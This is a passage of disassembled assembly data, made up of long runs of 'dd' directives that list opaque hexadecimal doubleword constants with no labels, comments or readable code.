		dd 2D639760h, 5D387DA5h, 382E0E78h, 0D6BD0075h,	0EE9CC271h
		dd 0A562072Dh, 50C06195h, 541C2B3Fh, 43369800h,	562A477Ah
		dd 3D040748h, 0D7943BF5h, 0F05BD073h, 0CC00B2BAh, 5CCAF49Dh
		dd 5E2D57h, 911E9A93h, 0CD104A94h, 0A06B3B01h, 0CB1DFAE0h
		dd 1595C3D8h, 942F85E6h, 4632A700h, 5FA05035h, 0A00C479h
		dd 0B82154D4h, 8BD771h,	0F515E6D3h, 0B98231Dh, 53D9B200h
		dd 0D0C4273Eh, 0DED50020h, 0CC8964F7h, 4E037212h, 21BAE522h
		dd 0B82CAB0Fh, 0B74ADDh, 0ECB460B2h, 160EF727h,	3C5AA509h
		dd 85E80180h, 44F4AE2Dh, 45643DEFh, 96F76D80h, 117526F1h
		dd 1D28C448h, 5B406810h, 1DE75658h, 25AC00A4h, 0FD22B98Dh
		dd 50EC26FFh, 3EB1000h,	0FC97ED5Ah, 0C6A00009h,	6727D963h
		dd 0C900D236h, 2623C76Dh, 4839DCE6h, 62090C68h,	1600CBD1h
		dd 190E6524h, 36978300h, 75C4BBAh, 44B40084h, 0B79FD895h
		dd 7800BD5Eh, 13D7E59Bh, 5FF3B5h, 0FF074D84h, 7571FD79h
		dd 77000D78h, 69281C46h, 87F5F7h, 396C8F9Eh, 795E6BBAh
		dd 5DFE5C00h, 0B5B1E97h, 0D7C50224h, 7F8FE86Eh,	4C83D0A0h
		dd 4D007876h, 6F226C04h, 0FC5077h, 3A97D39Eh, 0CD1FF4E8h
		dd 0E5A23600h, 0C79C252Ch, 697900AAh, 5F9B0232h, 0B8773E93h
		dd 0EAF27704h, 14C050C6h, 77629888h, 3D850CAEh,	0EA70D3CEh
		dd 2025A531h, 0C1F34D49h, 119E0EA6h, 0CEAD042Dh, 0E4DAC05Ah
		dd 547EFBEEh, 30CF73Bh,	458356A9h, 47ADE06Fh, 0BE250140h
		dd 0D1D9588Fh, 7D6180CAh, 946CD434h, 0BAB2A048h, 3D350179h
		dd 62C553B7h, 5AF88082h, 5CE8BFDEh, 38586F8Eh, 6916980h
		dd 0EB247E95h, 760092CBh, 84D2567Ah, 4C800028h,	40B520FAh
		dd 0F31C9B68h, 4B8024B0h, 0BA9F85C5h, 9896ECD5h, 181B0065h
		dd 8EB4C349h, 0EA001A99h, 80F6B04Ah, 7CEFFB33h,	15F000ABh
		dd 0EEDF2597h, 0B600E241h, 76BD1214h, 0F3D76Dh,	4DE011ABh
		dd 0C6E9BB24h, 79045600h, 0E3A5C1CCh, 2E1F1F7Eh, 80251F89h
		dd 0F35BAC01h, 0DC00B63Fh, 0F620DF40h, 0FA0BD198h, 0D121FC9h
		dd 0E3278013h, 0A3B15C47h, 84CD293Ch, 680946EEh, 0D4C53B80h
		dd 9D0600F9h, 8D7A8321h, 0CB000C29h, 0A0CA33C9h, 0A8E781D7h
		dd 7CC23A0h, 0D3700DC0h, 0DDA8C0FEh, 6AEA06FBh,	3FFD8802h
		dd 80186420h, 0CEB9ACACh, 0F808015Ch, 7172EA25h, 0B809F069h
		dd 0AF491C06h, 159EBA1h, 69323B2h, 40CDF59Fh, 0CE33E8CCh
		dd 35A7691Eh, 0AECC4D01h, 318F5C9Bh, 0E7C09264h, 6B97562h
		dd 5924A200h, 9102D543h, 0C80E00A9h, 8B67E3F1h,	0A3007E51h
		dd 5C1AB3A0h, 0A8F078Dh, 9DAF17B9h, 7F938F28h, 4800A2E9h
		dd 6243EF1Dh, 0EE6E0500h, 65BF6B3Eh, 0D6E33FD1h, 0B3DF0E00h
		dd 0DE705104h, 3C0A8270h, 0C7AB945Ch, 2AF8302h,	6A2C81F0h
		dd 0EEC4605Eh, 8C275469h, 0DD6500C0h, 570BE574h, 0FC00687Eh
		dd 8C8E3F73h, 887F48h, 8291875Ah, 83BBCC66h, 0FEDBA900h
		dd 0B6026229h, 1FA73DC4h, 808FAE8Dh, 0C1041ECAh, 16C61104h
		dd 456AF0h, 9801F30Ch, 0C7712A93h, 64AB3301h, 7CE7E15h
		dd 1FDA85F0h, 1F25D2F9h, 543C0C66h, 13D8F18h, 0B19F98AFh
		dd 31729059h, 8B519C1Dh, 18F208D2h, 29C57E83h, 6007BEAEh
		dd 0FFEC42FDh, 288D2AC0h, 0DC581705h, 23C2017Bh, 20AF7AD0h
		dd 0B9CA119Fh, 441802Fh, 5C00817Bh, 714498C0h, 0FDF10085h
		dd 5DFCE0AEh, 20537905h, 0A7091070h, 0A4CA3E00h, 0E1B35A2Fh
		dd 7CAA2C01h, 0D013DA8Bh, 1A64E89Ah, 0F094B8C1h, 831BEB99h
		dd 0F069A863h, 53FEE94Eh, 2A004CAEh, 46741311h,	981081ECh
		dd 0AF053B2Bh, 2099D436h, 0FDB090C0h, 0F4607E72h, 9F0924A8h
		dd 0E938C5D4h, 0C7A841DCh, 4954B848h, 0AB040FF8h, 0A7C3E90Ch
		dd 0AA281F10h, 400D069h, 0B0810D59h, 90EB96C7h,	0ACE9005Ch
		dd 19B31833h, 29C44BAFh, 5844122Dh, 454048C3h, 81280832h
		dd 24E4C642h, 460221A4h, 14823512h, 98249A45h, 0CCC4C840h
		dd 0F900087Bh, 220C64C0h, 165AAAh, 64A1ADEh, 0AFB55883h
		dd 0EA687500h, 864B80FCh, 0F6D50098h, 2C077684h, 0F9007278h
		dd 0C56B12A2h, 0F49568h, 8F9CDFBBh, 0A0481E75h,	90B11A00h
		dd 0B136316h, 18AFA7Ch,	32244237h, 0E4BB48AFh, 3B0C924Ah
		dd 113CC1E5h, 0AA700F2h, 2B3FF62Fh, 68554F65h, 451BECB4h
		dd 71FF801h, 0DFD883E6h, 34AAC4h, 0D917356Fh, 109D67E9h
		dd 9B86D200h, 90C7C261h, 0FF3F001Ch, 0DBACAA32h, 6500B171h
		dd 57AB59EDh, 690C53h, 0A3BDB4AEh, 0C9B0143Bh, 16A18000h
		dd 189057D9h, 4DCB382Ch, 0B125BA09h, 88092CA3h,	6C26E878h
		dd 30004D20h, 0ED978EC6h, 6AEE0028h, 474ECE89h,	0F0004A73h
		dd 5EF94D79h, 0C3FC3h, 0C1D7BAD4h, 0C468C729h, 40512000h
		dd 3858D69Dh, 0DCB800E1h, 9BE3C317h, 70605422h,	41B48918h
		dd 7E52037Dh, 0B601B5C4h, 10E04F90h, 0BFDF4700h, 7BFC17E2h
		dd 1B3800DEh, 34910FC3h, 0F0054558h, 4E37036Fh,	0D7859400h
		dd 3652E29h, 476CF580h,	0F4C056B3h, 3A1F5B01h, 0A340743Eh
		dd 0A8039116h, 0BFF61EB7h, 0F4C600BEh, 0B9D07A9Fh, 5C7CD700h
		dd 7F8624FBh, 0C4361ED2h, 124485AEh, 2FDC019Eh,	0D47DA271h
		dd 90E0D75h, 20242213h,	74BBFB81h, 86B707BDh, 501CA360h
		dd 0BF49F02Dh, 0BE008C98h, 0E39FBB6Eh, 7BAC69FDh, 0DC1F09A0h
		dd 0A3A0C34Eh, 9FCFA0Ah
		dd 0B087DF01h, 51500514h, 724F06Fh, 9503E400h, 0BE0D9637h
		dd 6AF100A4h, 0AC4A89D6h, 0FE7555A3h, 0D3A45A54h, 80501D3Fh
		dd 2C9B8C27h, 3DBBFC96h, 5F802BACh, 0C9DF394h, 0EC60CC13h
		dd 0B85C679Ch, 39D90011h, 6A822CF7h, 900021C0h,	0A0AFCBFAh
		dd 0A66889h, 14D2F625h,	464AF275h, 0F954E000h, 0F4EA719Fh
		dd 0FEDE00CDh, 0A47A4FA1h, 0CE007C01h, 0D9124C4Ah, 0EAAF30B7h
		dd 35501D6Dh, 4980F9BAh, 75333440h, 3909BE07h, 78ED8E1h
		dd 5F20A08Ch, 0B861AAAh, 859AC3B2h, 0D7D99980h,	4C0356A6h
		dd 14735548h, 90490F26h, 0CF430CC9h, 0B7981806h, 783CFC2Bh
		dd 27098010h, 514B9C22h, 434D5C45h, 413B8900h, 0BEE86B0Fh
		dd 0BBD8A20Eh, 63FA80C7h, 230DDBh, 0BA62E545h, 0C6DAF154h
		dd 93795200h, 0E834D714h, 488909D1h, 1800753Ch,	44774E21h
		dd 0CA005070h, 5D59431Dh, 0FCE879DFh, 0CBD600BCh, 4A508CDEh
		dd 0F04EB32h, 0A93B40ADh, 67E604C0h, 0DB1B00ECh, 0AC045F19h
		dd 7A00CBC3h, 6BBAFF3Bh, 7AD2526h, 8BD49D55h, 6A6100CAh
		dd 0B40038E6h, 6616EA17h, 6D5B4Dh, 187302D6h, 0F49AD825h
		dd 7F5D1B0Fh, 0EB3C409Dh, 0CFA7ABh, 43DDD5BEh, 0FB6D4DDEh
		dd 708EC326h, 0EF8999Ch, 0C0A8A012h, 6CC8727Dh,	3A60EA89h
		dd 8F8004F2h, 0F9DFC673h, 0ED093B88h, 0B92FC7h,	0B62B740h
		dd 0EC724Ah, 950A72B5h,	9810EEE9h, 62CF407h, 0DC507F50h
		dd 522312h, 0A0ED3157h,	5FE56614h, 86B08861h, 0DD302DA5h
		dd 458B03B8h, 0D8702812h, 0F5F20590h, 1AC53200h, 0A8ED43F0h
		dd 4DB9008Bh, 7D19403Bh, 644CB475h, 6BDC003Ah, 8B632BC0h
		dd 0EE32E2D1h, 0D304303Dh, 224AED19h, 729C3B00h, 0D1C52384h
		dd 0B8A50088h, 63E5397Ch, 6590E144h, 41EBC701h,	2DE6DF1Fh
		dd 7A31E7DCh, 0D9530758h, 0C344884Bh, 0A4F00335h, 4D737BA5h
		dd 9B05ACFCh, 0AB8B3DE5h, 77B6F005h, 0C9A9C040h, 5263D4h
		dd 0E8ACA9Ah, 35F6380Ah, 44F2FD50h, 93DA9B00h, 0CFB7BB70h
		dd 0F4A50084h, 2B9D76E6h, 0F20526BDh, 0DA15F5C2h, 8F6B9807h
		dd 0EC70F017h, 0B2A50CD8h, 0DE9B005Ch, 52AA9D48h, 0BD0F94B2h
		dd 0E30BDDC5h, 88835BB7h, 446ADAh, 8F0F1CCDh, 169ADC49h
		dd 1D8AF00h, 0EDFF12FAh, 14F73EFh, 0EB368D3Bh, 40E97D8Fh
		dd 0A282BF50h, 1C541E3Dh, 0CD40CAC5h, 8377FC38h, 0A62F0003h
		dd 0B21F136h, 0AA26C0D4h, 0E2006465h, 0F66D4518h, 0F5823004h
		dd 64D2D618h, 7C378D0Ch, 3AAEC190h, 2060D7F8h, 547D5501h
		dd 0D900ED72h, 0E4896138h, 0FC72BCA0h, 3103E88h, 3D1C844Ch
		dd 621F80DAh, 0F49B1776h, 288FC400h, 4B1A5D5Ch,	9ED803FEh
		dd 0A158366Fh, 0C369F7D0h, 1C5EB000h, 0DFE07319h, 0CD020023h
		dd 0B4E19848h, 88BACB6Ah, 3B10FD4Ch, 25D83A4h, 80638BF9h
		dd 0EAE1B22h, 0BFB36C17h, 0FFF1EC0h, 0BC39ABD5h, 48918F9Eh
		dd 5BB60793h, 0B0F44F60h, 0DC8700E9h, 79CD9D07h, 2A019910h
		dd 5470DAACh, 0AA8EDB4Eh, 409EB65Fh, 0C949E95Eh, 7CFE4011h
		dd 56F5948h, 6B43D280h,	1CA1D4D0h, 679E3AF3h, 0D3995084h
		dd 5CC4A0DEh, 0D23EDF78h, 3B6803Dh, 0A6F2AC5Ah,	576C1E86h
		dd 0A08C5306h, 0C7F8E055h, 0A430C200h, 0BEB0EB12h, 722C0E35h
		dd 8CE13C68h, 0E8D270E4h, 0C6073B08h, 0B34B7AA1h, 6B54002Fh
		dd 0A0DA50h, 92BEA30Ch,	0B23BD180h, 866AE4E5h, 1DBAC500h
		dd 91BD7B36h, 0AEA400FCh, 5C9BB22Ah, 0DB004298h, 37CB0288h
		dd 60B6DDA8h, 5066C0E2h, 0EB009623h, 8C7F081h, 1F310637h
		dd 0D7B69AB7h, 15C40FA6h, 0DDFCD720h, 0AA073FADh, 5E0DA8EEh
		dd 8C4B406Eh, 0B876494Eh, 0A6CE1226h, 0B41405D2h, 95D900DAh
		dd 25667BAh, 8176F32Eh,	0EE24C00h, 9AF978h, 0C0FA2C3h
		dd 72DA8EBEh, 27074770h, 0D568F333h, 0EE5E8350h, 0FEE407E2h
		dd 0B0F65734h, 0B8AE7490h, 0D0601F04h, 0CFAD8Ah, 0A30AD4A2h
		dd 1A98003Eh, 0B3A0E753h, 4790008Dh, 2442AC3h, 330048F7h
		dd 87B6EAFFh, 0F56D60h,	1D3DC18Dh, 0B850F872h, 72FEE48h
		dd 73F74D82h, 188078C0h, 0C3A70039h, 0B20A677Fh, 953A770Bh
		dd 2DAF8023h, 0F2573E0h, 6AADA011h, 0E8BC00DCh,	82B939B1h
		dd 2030DD29h, 93A42189h, 0A6430033h, 4E27C08Bh,	5AF45D9Ch
		dd 0BC0358EEh, 0BDEEE613h, 0A328A024h, 7DB430E5h, 62941F11h
		dd 0BC9C8700h, 88B34473h, 72DFF401h, 4069012Bh,	0AB60823Fh
		dd 0FCE320A6h, 5653EC00h, 0F3467614h, 52FB0037h, 9BFDDC6Ch
		dd 3F00B0DDh, 0A1E5279Ch, 0D3CC21h, 0C760890Ah,	8F0C3316h
		dd 0FDBBC401h, 347D7F11h, 18658C40h, 2DD800E0h,	3317C345h
		dd 2E00BBB1h, 6288C493h, 0AD9558h, 53120222h, 0E0D7B85Ah
		dd 859C3E3Dh, 87D88C18h, 4C168400h, 0DAFAB9h, 7D56753h
		dd 5E1F2A1Ch, 98798A0Eh, 0F437A0B2h, 0FF0E3Bh, 0DE9670C2h
		dd 6C8C7C1Ah, 9A93Eh, 2539F2B5h, 77F188Fh, 5998DCDh, 104A5024h
		dd 0B207CBFCh, 7AF208DFh, 82FBF890h, 41C73FA9h,	5B3DDD80h
		dd 451B01Bh, 1006B78h, 91F80969h, 3B45864h, 41FA0B31h
		dd 0D0F7F9EBh, 0ADC6F106h, 73AA503h, 448B91h, 0B34FA948h
		dd 2EEF5987h, 0CA99C500h, 7364CC90h, 5AD70086h,	0FB7B151Ch
		dd 810F19A7h, 0C0CB3556h, 0F9776469h, 1BD40047h, 0EB838482h
		dd 9C002926h, 5868B2C0h, 0E8F0621h, 33C12407h, 2500C754h
		dd 9347CFA1h, 6E009E5Dh, 1DF33BDBh, 73F1F0h, 902912B9h
		dd 7B8AAF97h, 0E1D99F2Eh, 0DF280B0Ah, 8FC0C301h, 7EF84FABh
		dd 0A0E200F5h, 24026477h, 8200EDE4h, 3B4643D5h,	0CA2BD0h
		dd 8B53ACE8h, 1E7622DCh, 673160BDh, 98EB4C85h, 971A703h
		dd 0BDD86D16h, 6379BF22h, 0F091FA03h, 95F212h, 0ED843C29h
		dd 1DB5FC47h, 3D0776F2h, 99244BB6h, 11D092D7h, 0A2342Fh
		dd 0C1A731E0h, 1F7EF2E2h, 334D21C0h, 7B04E55Bh,	0C574003Eh
		dd 0BC7D90E3h, 0C9720B60h, 0FA4F491Eh, 98116D18h, 78224C58h
		dd 151A0D00h, 7E862AD7h, 5500A5EAh, 2F6AD0D4h, 0E4DA7D6h
		dd 485C1263h, 30A176E0h, 0D42F6FE8h, 0DC5860h, 0A2AD27CAh
		dd 84682E66h, 0A423241Ch, 40701170h, 74C01EEAh,	2704C77Ah
		dd 0B2D6C043h, 97E62D85h, 0A845BB00h, 0D17149Dh, 8783300Bh
		dd 0B738B5DCh, 10560900h, 0ED725433h, 0DA790063h, 3C519F80h
		dd 0BA002455h, 4A44E01Ch, 3D23A0B6h, 1AB0D059h,	2D8B7D10h
		dd 24C3C638h, 0D506FE2Ah, 2EA682Bh, 0A56593E6h,	2A4028CBh
		dd 3C0F38B2h, 8052A99Fh, 4EE9DB1Ch, 4FA40FFDh, 5820936Ah
		dd 8A1E22F4h, 43DEEE00h, 1AE0E7AEh, 0C915006Eh,	0A042D701h
		dd 0E100175Ch, 45B70E81h, 0A06C5350h, 7B9E84A4h, 31493AECh
		dd 636A1B87h, 0EF5490C7h, 0C400FC77h, 0D3502A5Ch, 410B0BAh
		dd 8464254Eh, 0B65880CAh, 412446BCh, 0A7004EA6h, 6DCC4B13h
		dd 0A3800D4h, 0E6E1C194h, 0CE008541h, 0BF7CEF3Bh, 0F1634Eh
		dd 0D7FDB5CAh, 0DDE35DB2h, 0FFF01718h, 261B11h,	416F9BAEh
		dd 51C25F04h, 1D28A501h, 60B54EA7h, 0FD3779F0h,	93B2D0h
		dd 0F8E1102Fh, 9D996E43h, 9A28E900h, 0B50CF175h, 79F602E6h
		dd 4894B21Fh, 616BC080h, 6300FAD9h, 0AFA8C3D6h,	0C672B7h
		dd 59E8527Dh, 0A189B19Bh, 8A513F01h, 50C30649h,	3BEACC40h
		dd 0C0E97786h, 302A16A8h, 2818370Ch, 2EC8623Fh,	35C805C2h
		dd 80252906h, 967A5F48h, 0E9FF4900h, 9C95A2A8h,	0DA870056h
		dd 980EFD5Ch
		dd 0CB60146Ch, 367CD6C8h, 61E415h, 22E6C579h, 0CC946FBBh
		dd 671F5700h, 78529BBCh, 36CB4C8Bh, 0BD62Ch, 4741B2ACh
		dd 1E0EA4F9h, 793CEFAh,	0D44459F1h, 22388B80h, 0C8A9518Ch
		dd 5724D0h, 0D9BC2E0Bh,	516F5DFEh, 2F1D4C98h, 5ED8404Eh
		dd 0F8CA8638h, 7FDF0422h, 882ED084h, 0BE3CFA8Ch, 0D7251FEEh
		dd 0A16913C1h, 0B6805696h, 0B09A9474h, 7C000A88h, 2F656D02h
		dd 33B20E9h, 759B1924h,	26F04595h, 270752B9h, 0CDFB8D51h
		dd 48D871C4h, 0D2F70037h, 0EAF1D8E9h, 3F0024B2h, 0DC056BB1h
		dd 2196F17h, 0B6DFEC36h, 96E101E1h, 630424D9h, 0F615D004h
		dd 6C807A1Bh, 0B4A136h,	3569D83Bh, 48EAA5C7h, 388F3F00h
		dd 6E21F37Dh, 999700D4h, 4A384ADh, 0BBF6C664h, 0CC5521FDh
		dd 9C04D979h, 31BA5E53h, 80014C5h, 706ED67h, 3A2E00E3h
		dd 32F63D9Fh, 0E5009638h, 0F28F4F29h, 0F81ECE6h, 588297D0h
		dd 0F212AFh, 2CB28762h,	0C0034692h, 0FF017C4Ah,	33D6FF6Bh
		dd 40051261h, 0DB0C4186h, 0E0550D1Ah, 0A3050C07h, 30AF4C3Bh
		dd 14331005h, 0C3B61C00h, 0CEB7E6A6h, 798FF408h, 2132ADC6h
		dd 865C11E4h, 3ECB00FBh, 2BCAEAB4h, 1E4F7E1Fh, 5F2DFC66h
		dd 73EF80A6h, 36F2FE3h,	0E79B940Ch, 0FCB840E6h,	32E913A6h
		dd 0FF5900CAh, 14D720C8h, 6C3E5B07h, 0E5C034A3h, 7BA9ABDh
		dd 0B6E89E13h, 0E1B310C7h, 9D0153D0h, 6932A705h, 0E5600EAEh
		dd 73EC12E7h, 71E840EBh, 0A3B667C7h, 0FC97C8C0h, 2E0104h
		dd 61AB12E7h, 326D4F0Dh, 4C006A98h, 381023D2h, 2009FDh
		dd 0CC06BE9Dh, 7497D7CAh, 6C00BCF2h, 0D9DB4FB1h, 0F2358B3h
		dd 0B86D5ACBh, 0D7602B82h, 193EE80h, 0A8A8850Eh, 7100F8D2h
		dd 52F73B9Dh, 742733EAh, 21986053h, 0CF71F974h,	76260103h
		dd 38379B54h, 24D8F248h, 1B57DB16h, 201068C0h, 0E166921Fh
		dd 44670D6h, 0C871FF1Eh, 99C4CF3Bh, 71F04740h, 59071BB1h
		dd 0AA2DF9DAh, 6B76723h, 17E7BB79h, 5410D936h, 0E1060963h
		dd 18378BB1h, 58F31909h, 4F04101Bh, 0E5C500A0h,	6EA6FBB7h
		dd 8CCABB0h, 26F52147h,	2CD9C5C8h, 14410000h, 7613DD69h
		dd 6B28D00h, 5B7DC0C4h,	0F2F834h, 102E2272h, 2A0D2C63h
		dd 4050A209h, 8DD381E1h, 3CC11F0h, 0CB3E00D0h, 8882F63Ch
		dd 5003C844h, 42B513B4h, 63420226h, 0D5C5164h, 0EC807CC2h
		dd 0D0A1E3E7h, 0FFC63Eh, 87316E0Bh, 0B9F9C0h, 0E46174A7h
		dd 9A2AE3ABh, 59FC3C00h, 986312FEh, 76BFB0BEh, 0E21C0087h
		dd 4B2A4EDEh, 9300C311h, 0D564F061h, 0E1ADC4h, 0CC9AEB08h
		dd 0A368B45Dh, 0E0123900h, 1A0F612Eh, 0B02F005Ah, 4B6752D5h
		dd 89FA2398h, 76E2D600h, 74D933F6h, 0E1FFAFCh, 8720B5D3h
		dd 6C238018h, 0F67253Fh, 0E0A48E5Bh, 135E18DEh,	912B0B64h
		dd 480F800Eh, 0C83108EDh, 0D800F8B1h, 0A8D331A5h, 371036B2h
		dd 0D0B16FB3h, 894C9CE6h, 225DC800h, 0BA3174A6h, 0F140D72Fh
		dd 0C6CB20B5h, 0D25ECC0Fh, 0A3934366h, 89610030h, 53B7195Bh
		dd 490A43C7h, 0BC2AF005h, 38874186h, 0CAD50029h, 3C52F68h
		dd 0C83B97CCh, 0A7F0159h, 67776496h, 0C42E03DAh, 0FDBD1888h
		dd 0AE68CF00h, 0D11C322h, 4E5D00A4h, 0F2AC5675h, 2CFA5406h
		dd 0D838EB0Eh, 0EE67878Eh, 0ECA8B8C0h, 2380B584h, 7CBA2290h
		dd 8D1353EEh, 0E300F47Eh, 3FDC9814h, 3BD23910h,	0D33000F4h
		dd 0C5ED517Dh, 2C0C4386h, 85394A7h, 0DB21C069h,	1896EDEAh
		dd 0FA7AB10Fh, 4CC01E6Fh, 0B4608C98h, 0CA191CE6h, 9AA44126h
		dd 8C2F3DDCh, 812BC38h,	0E8751Dh, 0DA7D21EBh, 0C094541Fh
		dd 19E5CF0Ch, 0E10202Dh, 0F6B35262h, 78E280DFh,	9671FB20h
		dd 7F19C009h, 829C8177h, 1881516Ch, 1C5DC3F8h, 1EB1F078h
		dd 0B998CB07h, 50807916h, 3A7DB643h, 0B480E162h, 0C4A2F7B1h
		dd 3C0082A4h, 97A7DDA8h, 149A1529h, 0A861BE41h,	0CD6B0E00h
		dd 0CF807317h, 5362AF00h, 0A9695823h, 81970CB4h, 6738BEF3h
		dd 3F0FFE78h, 0A091764Bh, 0AC944936h, 0D7EFA0B0h, 0CC67C8Ch
		dd 74681BE7h, 0CA002068h, 9E94ED62h, 0F0608431h, 0E9DA0050h
		dd 883C7098h, 18F87AFFh, 930328E6h, 0C04896BBh,	7019005Ah
		dd 0A38F2B9Ch, 44A0F922h, 986535DDh, 64C3F660h,	5CC2C847h
		dd 878A0080h, 0A0C917C1h, 0F072C12h, 929DE299h,	0AB19FDA0h
		dd 303750Ch, 59CC2C6h, 48036F37h, 0ACA5A0BEh, 0EC781550h
		dd 0B03E94B1h, 48143DFAh, 60BCFA00h, 61CF2064h,	1CF79D01h
		dd 937DA60Bh, 96FC5087h, 920E606Ch, 9500F9A4h, 0DF1898CCh
		dd 0C00BC1h, 0A33F6117h, 0F75EA6D0h, 2065F2F8h,	42E2E11h
		dd 2F0BD1C3h, 807B1000h, 0EC18BE76h, 0AC050314h, 0F98FDED0h
		dd 1EF793A0h, 2EDB4E03h, 21637822h, 3004F829h, 7A04D2A7h
		dd 62DC444Fh, 0C942FC48h, 208624A8h, 83B4CF7Fh,	126A2184h
		dd 14627994h, 24C4213Eh, 26807F88h, 62407Dh, 0D3D1F0F1h
		dd 0E100C020h, 0BB278E71h, 170CDF7h, 0A4118A95h, 0C876625Bh
		dd 0EF00C926h, 0CD7740DDh, 0ACC466h, 67E3F016h,	9A9E1EE0h
		dd 4870D700h, 0BBCA9C6Bh, 41B403B9h, 2A0C374Ah,	5919FBB0h
		dd 0EF28480Fh, 988DE0E8h, 521439h, 0ACCDC2D7h, 69999CC7h
		dd 81E52800h, 0EB19F14Bh, 430A3AFFh, 0AC363980h, 84D8C610h
		dd 3044672Ch, 6840291Eh, 2AB1DB8h, 5ECE00D0h, 16E38C88h
		dd 0B2009C50h, 96396A09h, 7B84657Ch, 0CF5131D8h, 0F4D3DE60h
		dd 0C3007630h, 38D4FE4Fh, 0F4854C2h, 66B4703h, 737217A0h
		dd 9300929Bh, 0F3EA3FE7h, 159FF7h, 0FC88D91h, 43DDDFAAh
		dd 3CFFE103h, 0B8497965h, 57A3D6h, 0ACE20A15h, 50178778h
		dd 8F6E018h, 795A90h, 0EE8EE418h, 0C156CBA0h, 30F87B0Eh
		dd 37462075h, 59FA2A7h,	8B8D4248h, 3910C03Fh, 26391B0Dh
		dd 0A4678097h, 83DD637Eh, 0E2730042h, 8F2EFCBDh, 0D000F321h
		dd 93290CB6h, 0E0E37Eh,	3CEEAD31h, 3962ACFBh, 0B286B001h
		dd 4ABD6592h, 7576E4C8h, 44C00FAh, 74370D72h, 540184B4h
		dd 9F46FD4h, 0E2F818DCh, 635E005Ch, 24F50723h, 22003795h
		dd 0B4E8F1C2h, 8013C5h,	4520C8B0h, 0A834C1AAh, 0BF9E9C00h
		dd 0A4717894h, 0D4250024h, 7B034B76h, 0A3795C4Fh, 0B57D1B03h
		dd 0A051736Dh, 0EC96DFh, 0B4C7A863h, 0E637A67Bh, 9C98411Eh
		dd 0FCE17200h, 5B2BBEh,	2841A5Dh, 8A1CE256h, 9509F1E6h
		dd 0ED93C98h, 3F416064h, 0F4C275E6h, 0F02700B5h, 0BFD46849h
		dd 56000E16h, 2C13423Eh, 0E4B7AC8h, 0D88C5E83h,	0FCF0B401h
		dd 0C6B07BB9h, 904800C1h, 0C8762385h, 1F7AA2F4h, 0F2E62F00h
		dd 0AD18D7E5h, 3C9F007Dh, 4F14955Dh, 6103A56Fh,	8BF72ACh
		dd 8EF28882h, 0C4F9009Bh, 418B2C56h, 451E6703h,	69C3C32Fh
		dd 0AF863C8Ah, 0F2E1D170h, 0AB23C71h, 0D9A5D0h,	0B7FA18D6h
		dd 0FD30FCA7h, 5650ED05h, 80EAF021h, 0D6FB241Ah, 2A187C00h
		dd 0B678B55Ah, 5280077h, 0B95898DFh, 0A6027668h, 95BAFF45h
		dd 4244025h, 4F320046h,	0AC7713BCh, 61727AEEh, 8310A61Eh
		dd 6342791Fh, 40FF2217h, 0B6599h, 745408EFh, 831A0419h
		dd 70A0D407h, 1355A8EDh, 0DE3B8580h, 0A1550028h, 0CB3F86B1h
		dd 9F0F8F03h, 6046BF1Ah, 4E2BE50Eh, 71D300E8h, 0A290B193h
		dd 627C2806h, 55325201h, 0F3CE2594h, 0C764D4h, 0D5FE14C4h
		dd 110B1B81h, 6C68060Fh, 0BFC3A5CAh, 0FC2DE000h, 192BD1Fh
		dd 80C190Bh, 0F0B03810h
		dd 0D7001548h, 0DBD85F75h, 74A7B65h, 0ADA1979Dh, 9AF0506Ah
		dd 833A3107h, 595830Bh,	0B8200667h, 103F468h, 9C38F25Bh
		dd 0EC6AE822h, 69007BF5h, 0E9F667F3h, 7CECDA5Ch, 16890736h
		dd 103D22C7h, 0D5F8CBCEh, 45433Bh, 0D0C16514h, 89861h
		dd 0EFB788C8h, 36CF6B39h, 97B25D01h, 0ABC31D99h, 9DE7F4h
		dd 2AAD8D55h, 2BA92DA2h, 0D4DF6E00h, 29D1690Dh,	0D5BD03BFh
		dd 0F74F4082h, 2ED830A8h, 2B91E900h, 5D448D75h,	3F53006Dh
		dd 8546980Fh, 4CEE0DF6h, 14AD5700h, 8848F8Bh, 7FFA3D31h
		dd 6E616782h, 68405133h, 0F95C0E9Bh, 901C000Ch,	0C185E11Bh
		dd 5F000A1h, 931DA945h,	0C5F0EE0Fh, 0D271271Ch,	1AE49C00h
		dd 3168FD1h, 78A2328Dh,	0FAF20E7Bh, 0C6B74460h,	80DE5239h
		dd 4FC8BF1Ch, 0D05371h,	0D95134ADh, 7F9695E7h, 10523D00h
		dd 533E1D7Ah, 0B87E0B2Dh, 79005AABh, 1828B01Ah,	0A9843Bh
		dd 0BFCB818Fh, 0AD2956h, 5500BECh, 208AD121h, 6614F100h
		dd 0DB789245h, 492E00E6h, 0D59B573Ah, 0AF001CE9h, 0D4BB750Bh
		dd 2740DC7h, 0C3E1BAE7h, 0C6E072EFh, 341E60D6h,	0FD7A7B0Ch
		dd 0F401A579h, 55416BA7h, 35F4638Ch, 80AA008Bh,	3F195070h
		dd 3001A39Fh, 4616E7BBh, 10C0ED7Eh, 66FC3Ah, 0F84ED1BAh
		dd 5CD9CBA8h, 38F96A38h, 0AD05F4C5h, 0D6238AA6h, 4A00EC1Fh
		dd 3C5AB390h, 99D80E34h, 45E1E7A9h, 3011BF1Dh, 0D000AA68h
		dd 0AC8FBF5h, 0E8097656h, 60AB0078h, 435C5F14h,	0CF8F9B7h
		dd 7F11E600h, 3FB0B77h,	530107B0h, 90B82065h, 7E5793D1h
		dd 0A7A3861Ch, 7D5D7480h, 16103522h, 0F1551Bh, 65CAD6Dh
		dd 0D70014EAh, 35A2C086h, 164402h, 49F5F8B7h, 5CB254FDh
		dd 6AF658h, 0FB9F414Dh,	2FC9CF91h, 5F5882ABh, 0FA00D7FEh
		dd 0A401F927h, 3DA77Fh,	94B61EBEh, 0EFEA9F76h, 135BDF48h
		dd 898006A9h, 3A910Ah, 0CB905E33h, 0E7CDE244h, 813E7000h
		dd 6C4B2A3Fh, 7E4E0EFBh, 1B604D57h, 0C63A1356h,	0FED92B03h
		dd 0B9A573A2h, 0F040F398h, 959E2Dh, 1163BB1Fh, 0CEE723DBh
		dd 352A64Ch, 96E15061h,	60A2D8FFh, 0FE1D009Ch, 2758936Ah
		dd 1F033084h, 879B10BEh, 8191E8E1h, 0A0233877h,	8C620202h
		dd 0C3C017AEh, 0AC009F4Ch, 1DEB3D47h, 30568C8h,	0CA12CF5Bh
		dd 0B5B0D173h, 3C0923D8h, 88FCFBC0h, 0D9018D14h, 1E1D5FBAh
		dd 7DC31D8h, 0A83BEE9Ah, 2A16A007h, 0BBF2C508h,	0E20ECE33h
